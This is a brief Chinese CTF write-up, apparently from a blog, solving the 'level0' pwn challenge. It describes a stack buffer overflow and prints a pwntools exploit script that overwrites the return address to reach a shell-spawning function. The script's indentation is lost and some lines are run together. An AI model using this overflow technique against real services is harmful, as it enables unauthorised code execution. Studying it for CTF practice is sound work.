小白垃圾做题笔记而已,不建议阅读。。。
这道题感觉主要就是64位程序ebp=8
题目中给出了shellcode
我们直接将返回地址覆盖就好。
在main函数中调用了vulnerable_function()函数。

vulnerable函数是一个漏洞函数:(存在缓溢出),我们只需要将buf溢出到返回地址,返回地址覆盖为sys函数地址即可。

exp:这里用下大佬的模板。
from pwn import *
debug=1
if debug:
p=process('./level0')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
pause()
# gdb.attach(p)
else:
p=remote('')def ru(x):
return p.recvuntil(x)def se(x):
p.send(x)
sys_add=0x040059A
payload='a'*0x88+p64(sys_add)
ru(' World\n')
se(payload)p.interactive()
ok

文章是关于一个缓冲区溢出漏洞的利用技术,主要涉及64位程序中的ebp等于8的条件,以及如何通过构造payload覆盖返回地址,使其指向sys函数的地址来触发系统调用。利用模板编写了exploit代码,包括发送payload到程序以执行特定操作。

717

被折叠的 条评论
为什么被折叠?



